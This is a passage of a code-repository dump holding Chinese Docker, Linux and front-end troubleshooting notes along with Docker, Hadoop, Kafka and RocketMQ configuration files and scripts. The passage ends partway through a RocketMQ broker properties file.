ID。 22 | - [CPU %]:CPU 的使用情况。 23 | - [MEM USAGE / LIMIT]:当前使用的内存和最大可以使用的内存。 24 | - [MEM %]:以百分比的形式显示内存使用情况。 25 | - [NET I/O]:网络 I/O 数据。 26 | - [BLOCK I/O]:磁盘 I/O 数据。 27 | - [PIDS]:PID 号。 28 | 29 | Options 30 | 31 | > --no-stream 只返回当前的状态 32 | 33 | > --format 格式化输出结果 34 | 35 | ```bash 36 | $ docker stats --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}" 37 | ``` 38 | 39 | - .Container: 根据用户指定的名称显示容器的名称或 ID。 40 | - .Name: 容器名称。 41 | - .ID: 容器 ID。 42 | - .CPUPerc: CPU 使用率。 43 | - .MemUsage: 内存使用量。 44 | - .NetIO: 网络 I/O。 45 | - .BlockIO: 磁盘 I/O。 46 | - .MemPerc: 内存使用率。 47 | - .PIDs: PID 号。 48 | -------------------------------------------------------------------------------- /.github/docker/【Docker】容器自启动.md: -------------------------------------------------------------------------------- 1 | ## restart policy (重启策略) 2 | 3 | `Docker` 提供了 restart policy 机制(重启策略),可以在容器或者 `Docker` 重启时控制器能够自启动。这种重启策略可以保证相关容器按照正确顺序启动。`Docker` 建议使用重启策略,并避免使用流程管理器启动容器。 4 | 5 | 重启策略跟 `dockerd` 命令的 `--live-restore` 标志不同。使用 `--live-restore` 标志可以在 `Docker` 升级的时候保证容器继续运行,但是网络以及用户终端输入会被终端。 6 | 7 | ## 使用重启策略 8 | 9 | 要为容器配置重启策略,使用 `docker run` 命令的时候添加 `--restart` 标志。`--restart` 标志有多个 `value` 可选 10 | 11 | | 标志 | 描述 | 12 | | -------------- | ------------------------------------------------------------- | 13 | | no | 不自动重启容器(默认值) | 14 | | on-failure | 如果容器由于错误而退出,则将其重新启动,非零退出代码表示错误 | 15 | | unless-stopped | 在容器已经 stop 掉或 Docker stoped/restarted 的时候才重启容器 | 16 | | always | 只要容器停止,就重新启动 | 17 | 18 | ## 重启策略详情 19 | 20 | - 重启策略只在容器启动成功后生效。这种情况下,成功启动的意思容器至少运行 10 秒以上,并且 `Docker` 已经开始监控它。这可以避免没有成功启动的容器陷入 `restart` 的死循环。 21 | - 如果手动的停止容器,它将被重启策略忽略,直到 `Docker` 守护进程重启或手动重启,这是为了避免重启循环的另一次尝试。 22 | - 重启策略只能用于容器,与 `swarm 服务` 的重启策略有不同的配置。 23 | -------------------------------------------------------------------------------- /.github/linux/【Linux】CentOS 7 设置静态IP.md: -------------------------------------------------------------------------------- 1 | 1. 验证网络管理器服务的状态 2 | 3 | ```bash 4 | $ systemctl status NetworkManager.service 5 | ``` 6 | 7 | 2. 检查受网络管理器管理的网络接口 8 | 9 | ```bash 10 | $ nmcli dev status 11 | ``` 12 | 13 | 3. 进入 `/etc/sysconfig/network-scripts` 文件,找到配置文件 14 | 15 | ``` 16 | # 设置为静态 17 | BOOTPROTO=static 18 | # 定义 IP 地址 19 | IPADDR=192.168.129.159 20 | # 定义网卡 21 | NETMASK=255.255.255.0 22 | # 定义网关 23 | GATEWAY=172.16.79.2 24 | # 接口将通过该配置文件进行设置 25 | NM_CONTROLLED=no 26 | # 启动时开启该接口 27 | ONBOOT=yes 28 | # 设置 DNS 29 | DNS1=172.16.79.2 30 | ``` 31 | 32 | 4. 编辑 /etc/resolv.conf 33 | 34 | ``` 35 | nameserver 0.0.0.0 36 | nameserver 114.114.114.114 37 | search localhost 38 | ``` 39 | 40 | 5. 重启 `network` 服务 41 | 42 | ```bash 43 | $ systemctl restart network.service 44 | ``` 45 | -------------------------------------------------------------------------------- /.github/problems-in-dev/【Problems-in-dev】IE 不兼容 js indexOf 函数.md: -------------------------------------------------------------------------------- 1 | 在使用 js 判断数组中是否存在该元素,我们会用到 indexOf 函数。而在 IE 上 indexOf 函数 无法兼容,通过以下方法解决,仅以文章记录一下 2 | 3 | ```javascript 4 | if (!Array.prototype.indexOf) { 5 | Array.prototype.indexOf = function(elt /*, from*/) { 6 | var len = this.length >>> 0; 7 | var from = Number(arguments[1]) || 0; 8 | from = from < 0 ? Math.ceil(from) : Math.floor(from); 9 | if (from < 0) from += len; 10 | for (; from < len; from++) { 11 | if (from in this && this[from] === elt) return from; 12 | } 13 | return -1; 14 | }; 15 | } 16 | ``` 17 | -------------------------------------------------------------------------------- /.github/problems-in-dev/【Problems-in-dev】js 清空 input:file 的值.md: -------------------------------------------------------------------------------- 1 | 由于 javascript 不能清除 `input:file` 上传控件的值,因此最好的方法是在 `input:file` 上传控件的外层嵌入 `
` 元素,使用 `` 元素的 `reset()` 方法来清除`input:file` 上传控件的值。代码如下: 2 | 3 | ```javascript 4 | function clearFileInput(file) { 5 | var form = document.createElement('form'); 6 | document.body.appendChild(form); 7 | var pos = file.nextSibling; 8 | form.appendChild(file); 9 | form.reset(); 10 | pos.parentNode.insertBefore(file, pos); 11 | document.body.removeChild(form); 12 | } 13 | ``` 14 | -------------------------------------------------------------------------------- /.github/problems-in-dev/【Problems-in-dev】npm 安装 sass-loader.md: -------------------------------------------------------------------------------- 1 | 在使用 npm 安装 sass-loader 出现 `gyp verb which failed Error:not found: python2` 错误,通过 stackoverflow 解决方法,设置 npm 环境变量 2 | 3 | ```bash 4 | $ npm set SKIP_SASS_BINARY_DOWNLOAD_FOR_CI = true 5 | $ npm set SKIP_NODE_SASS_TESTS = true 6 | ``` 7 | 8 | 之后使用命令清除缓存,再重新安装 `sass-loader` 9 | 10 | ```bash 11 | $ npm cache clean --force 12 | $ npm install sass-loader --dev-save 13 | ``` 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### PROJECT ### 2 | HELP.md 3 | target/ 4 | !.mvn/wrapper/maven-wrapper.jar 5 | !**/src/main/** 6 | !**/src/test/** 7 | out/ 8 | rebel.xml 9 | .gradle 10 | java/.gradle 11 | 12 | ### STS ### 13 | .DS_Store 14 | .apt_generated 15 | .classpath 16 | .factorypath 17 | .project 18 | .settings 19 | .springBeans 20 | .sts4-cache 21 | 22 | ### IntelliJ IDEA ### 23 | .idea 24 | *.iws 25 | *.iml 26 | *.ipr 27 | 28 | ### NetBeans ### 29 | /nbproject/private/ 30 | /nbbuild/ 31 | /dist/ 32 | /nbdist/ 33 | /.nb-gradle/ 34 | build/ 35 | 36 | ### VS Code ### 37 | .vscode/ 38 | 39 | ### Node.js ### 40 | node_modules/ 41 | /dist/ 42 | npm-debug.log* 43 | yarn-debug.log* 44 | yarn-error.log* 45 | 46 | ### Python ### 47 | .venv 48 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "printWidth": 120, 3 | "semi": true, 4 | "singleQuote": true 5 | } 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 H_VK 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /docker/gitlab/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | web: 4 | image: 'twang2218/gitlab-ce-zh' 5 | restart: always 6 | hostname: 'localhost' 7 | environment: 8 | TZ: 'Asia/Shanghai' 9 | GITLAB_OMNIBUS_CONFIG: | 10 | external_url 'http://gitlab.hvkcoder.me' 11 | gitlab_rails['gitlab_shell_ssh_port'] = 2222 12 | unicorn['port'] = 8888 13 | nginx['listen_port'] = 80 14 | ports: 15 | - '80:80' 16 | - '443:443' 17 | - '2222:22' 18 | volumes: 19 | - /Users/h-vk/Documents/Project/Kubernetes/docker/gitlab/config:/etc/gitlab 20 | - /Users/h-vk/Documents/Project/Kubernetes/docker/gitlab/data:/var/opt/gitlab 21 | - /Users/h-vk/Documents/Project/Kubernetes/docker/gitlab/logs:/var/log/gitlab 22 | -------------------------------------------------------------------------------- /docker/hadoop/core-site.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | fs.defaultFS 6 | hdfs://0.0.0.0:9000 7 | 8 | 9 | hadoop.tmp.dir 10 | /var/hadoop 11 | 12 | 13 | -------------------------------------------------------------------------------- /docker/hadoop/hdfs-site.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | dfs.replication 6 | 1 7 | 8 | 9 | dfs.namenode.name.dir 10 | file://${hadoop.tmp.dir}/dfs/name 11 | 12 | 13 | dfs.datanode.data.dir 14 | file://${hadoop.tmp.dir}/dfs/data 15 | 16 | 17 | dfs.namenode.secondary.http-address 18 | localhost:50090 19 | 20 | 21 | dfs.namenode.checkpoint.dir 22 | file://${hadoop.tmp.dir}/dfs/namesecondary 23 | 24 | 25 | -------------------------------------------------------------------------------- /docker/hadoop/mapred-site.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | mapreduce.framework.name 6 | yarn 7 | 8 | 9 | -------------------------------------------------------------------------------- /docker/hadoop/ssh_config: -------------------------------------------------------------------------------- 1 | Host * 2 | UserKnownHostsFile /dev/null 3 | StrictHostKeyChecking no -------------------------------------------------------------------------------- /docker/hadoop/start-all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /etc/init.d/ssh start 4 | 5 | if [ ! -d "$HADOOP_DATA/dfs" ] 6 | then 7 | $HADOOP_HOME/bin/hdfs namenode -format 8 | fi 9 | 10 | $HADOOP_HOME/sbin/start-dfs.sh 11 | $HADOOP_HOME/sbin/start-yarn.sh 12 | $HADOOP_HOME/sbin/mr-jobhistory-daemon.sh start historyserver 13 | 14 | tail -f /dev/null 15 | -------------------------------------------------------------------------------- /docker/hadoop/yarn-site.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | yarn.nodemanager.aux-services 5 | mapreduce_shuffle 6 | 7 | 8 | -------------------------------------------------------------------------------- /docker/kafka/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | LABEL maintainer="Silence H_VK " 3 | 4 | ARG KAFKA_VERSION=2.8.0 5 | ARG SCALA_VERSION=2.13 6 | 7 | ENV KAFKA_HOME="/opt/kafka" \ 8 | TAR="kafka_${SCALA_VERSION}-${KAFKA_VERSION}.tgz" 9 | 10 | 11 | RUN set -eux && \ 12 | sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories && \ 13 | apk add --no-cache bash perl openjdk8-jre-base tar wget && cd \opt &&\ 14 | wget -t 10 --retry-connrefused -O "$TAR" "https://downloads.apache.org/kafka/${KAFKA_VERSION}/kafka_${SCALA_VERSION}-${KAFKA_VERSION}.tgz" && \ 15 | tar zxf "kafka_${SCALA_VERSION}-${KAFKA_VERSION}.tgz" && \ 16 | rm -rf "kafka_${SCALA_VERSION}-${KAFKA_VERSION}.tgz" && \ 17 | ln -sv "kafka_${SCALA_VERSION}-${KAFKA_VERSION}" kafka && \ 18 | apk del tar wget 19 | 20 | WORKDIR ${KAFKA_HOME} 21 | 22 | CMD ["/bin/bash"] 23 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | LABEL maintainer="Silence H_VK " 3 | 4 | RUN yum install -y java-1.8.0-openjdk-devel.x86_64 && yum clean all -y 5 | 6 | ENV ROCKETMQ_VERSION 4.6.1 7 | ENV ROCKETMQ_HOME /opt/rocketmq-${ROCKETMQ_VERSION} 8 | 9 | WORKDIR ${ROCKETMQ_HOME} 10 | 11 | ADD ./rocketmq-4.6.1/ . 12 | 13 | # expose namesrv port 14 | EXPOSE 9876 15 | 16 | # expose broker ports 17 | EXPOSE 10909 10911 10912 18 | 19 | WORKDIR ${ROCKETMQ_HOME}/bin 20 | 21 | RUN echo "export PATH=$PATH:${ROCKETMQ_HOME}/bin" >> /root/.bashrc && source /root/.bashrc 22 | 23 | CMD [ "/bin/bash" ] 24 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/benchmark/consumer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Licensed to the Apache Software Foundation (ASF) under one or more 4 | # contributor license agreements. See the NOTICE file distributed with 5 | # this work for additional information regarding copyright ownership. 6 | # The ASF licenses this file to You under the Apache License, Version 2.0 7 | # (the "License"); you may not use this file except in compliance with 8 | # the License. You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | sh ./runclass.sh org.apache.rocketmq.example.benchmark.Consumer $@ & 19 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/benchmark/producer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Licensed to the Apache Software Foundation (ASF) under one or more 4 | # contributor license agreements. See the NOTICE file distributed with 5 | # this work for additional information regarding copyright ownership. 6 | # The ASF licenses this file to You under the Apache License, Version 2.0 7 | # (the "License"); you may not use this file except in compliance with 8 | # the License. You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | sh ./runclass.sh -Dorg.apache.rocketmq.client.sendSmartMsg=true org.apache.rocketmq.example.benchmark.Producer $@ & 19 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/benchmark/tproducer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Licensed to the Apache Software Foundation (ASF) under one or more 4 | # contributor license agreements. See the NOTICE file distributed with 5 | # this work for additional information regarding copyright ownership. 6 | # The ASF licenses this file to You under the Apache License, Version 2.0 7 | # (the "License"); you may not use this file except in compliance with 8 | # the License. You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | sh ./runclass.sh org.apache.rocketmq.example.benchmark.TransactionProducer $@ 19 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/bin/README.md: -------------------------------------------------------------------------------- 1 | ### Operating system tuning 2 | Before deploying broker servers, it's highly recommended to run **os.sh**, which is to optimize your operating system for better performance. 3 | 4 | ## Notice 5 | ### os.sh should be executed only once with root permission. 6 | ### os.sh parameter settings are for reference purpose only. You can tune them according to your target host configurations. 7 | 8 | 9 | ### Start broker 10 | * Unix platform 11 | 12 | `nohup sh mqbroker &` 13 | 14 | ### Shutdown broker 15 | sh mqshutdown broker 16 | 17 | ### Start Nameserver 18 | * Unix platform 19 | 20 | `nohup sh mqnamesrv &` 21 | 22 | ### Shutdown Nameserver 23 | sh mqshutdown namesrv 24 | 25 | ### Update or create Topic 26 | sh mqadmin updateTopic -b 127.0.0.1:10911 -t TopicA 27 | 28 | ### Update or create subscription group 29 | sh mqadmin updateSubGroup -b 127.0.0.1:10911 -g SubGroupA -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/bin/cleancache.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Licensed to the Apache Software Foundation (ASF) under one or more 4 | # contributor license agreements. See the NOTICE file distributed with 5 | # this work for additional information regarding copyright ownership. 6 | # The ASF licenses this file to You under the Apache License, Version 2.0 7 | # (the "License"); you may not use this file except in compliance with 8 | # the License. You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | export PATH=$PATH:/sbin 19 | 20 | sysctl -w vm.drop_caches=3 21 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/bin/mqadmin.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | rem Licensed to the Apache Software Foundation (ASF) under one or more 3 | rem contributor license agreements. See the NOTICE file distributed with 4 | rem this work for additional information regarding copyright ownership. 5 | rem The ASF licenses this file to You under the Apache License, Version 2.0 6 | rem (the "License"); you may not use this file except in compliance with 7 | rem the License. You may obtain a copy of the License at 8 | rem 9 | rem http://www.apache.org/licenses/LICENSE-2.0 10 | rem 11 | rem Unless required by applicable law or agreed to in writing, software 12 | rem distributed under the License is distributed on an "AS IS" BASIS, 13 | rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | rem See the License for the specific language governing permissions and 15 | rem limitations under the License. 16 | 17 | if not exist "%ROCKETMQ_HOME%\bin\tools.cmd" echo Please set the ROCKETMQ_HOME variable in your environment! & EXIT /B 1 18 | call "%ROCKETMQ_HOME%\bin\tools.cmd" org.apache.rocketmq.tools.command.MQAdminStartup %* -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/bin/play.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Licensed to the Apache Software Foundation (ASF) under one or more 4 | # contributor license agreements. See the NOTICE file distributed with 5 | # this work for additional information regarding copyright ownership. 6 | # The ASF licenses this file to You under the Apache License, Version 2.0 7 | # (the "License"); you may not use this file except in compliance with 8 | # the License. You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | # 19 | # Name Server 20 | # 21 | nohup sh mqnamesrv > ns.log 2>&1 & 22 | 23 | # 24 | # Service Addr 25 | # 26 | ADDR=`hostname -i`:9876 27 | 28 | # 29 | # Broker 30 | # 31 | nohup sh mqbroker -n ${ADDR} > bk.log 2>&1 & 32 | 33 | echo "Start Name Server and Broker Successfully, ${ADDR}" 34 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-async/broker-a-s.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-a 17 | brokerId=1 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=SLAVE 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-async/broker-a.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-a 17 | brokerId=0 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=ASYNC_MASTER 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-async/broker-b-s.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-b 17 | brokerId=1 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=SLAVE 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-async/broker-b.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-b 17 | brokerId=0 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=ASYNC_MASTER 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-sync/broker-a-s.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-a 17 | brokerId=1 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=SLAVE 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-sync/broker-a.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-a 17 | brokerId=0 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=SYNC_MASTER 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-sync/broker-b-s.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-b 17 | brokerId=1 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=SLAVE 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-2s-sync/broker-b.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-b 17 | brokerId=0 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=SYNC_MASTER 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-noslave/broker-a.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-a 17 | brokerId=0 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=ASYNC_MASTER 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-noslave/broker-b.properties: -------------------------------------------------------------------------------- 1 | # Licensed to the Apache Software Foundation (ASF) under one or more 2 | # contributor license agreements. See the NOTICE file distributed with 3 | # this work for additional information regarding copyright ownership. 4 | # The ASF licenses this file to You under the Apache License, Version 2.0 5 | # (the "License"); you may not use this file except in compliance with 6 | # the License. You may obtain a copy of the License at 7 | # 8 | # http://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | brokerClusterName=DefaultCluster 16 | brokerName=broker-b 17 | brokerId=0 18 | deleteWhen=04 19 | fileReservedTime=48 20 | brokerRole=ASYNC_MASTER 21 | flushDiskType=ASYNC_FLUSH 22 | -------------------------------------------------------------------------------- /docker/rocketmq/rocketmq-4.6.1/conf/2m-noslave/broker-trace.properties: -------------------------------------------------------------------------------- 1 | # 2 | # Licensed to the Apache Software Foundation (ASF) under one or more 3 | # contributor license agreements. See the NOTICE file distributed with 4 | # this work for additional information regarding copyright ownership. 5 | # The ASF licenses this file to You under the Apache License, Version 2.0 6 | # (the "License"); you may not use this file except in compliance with 7 | # the License. You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 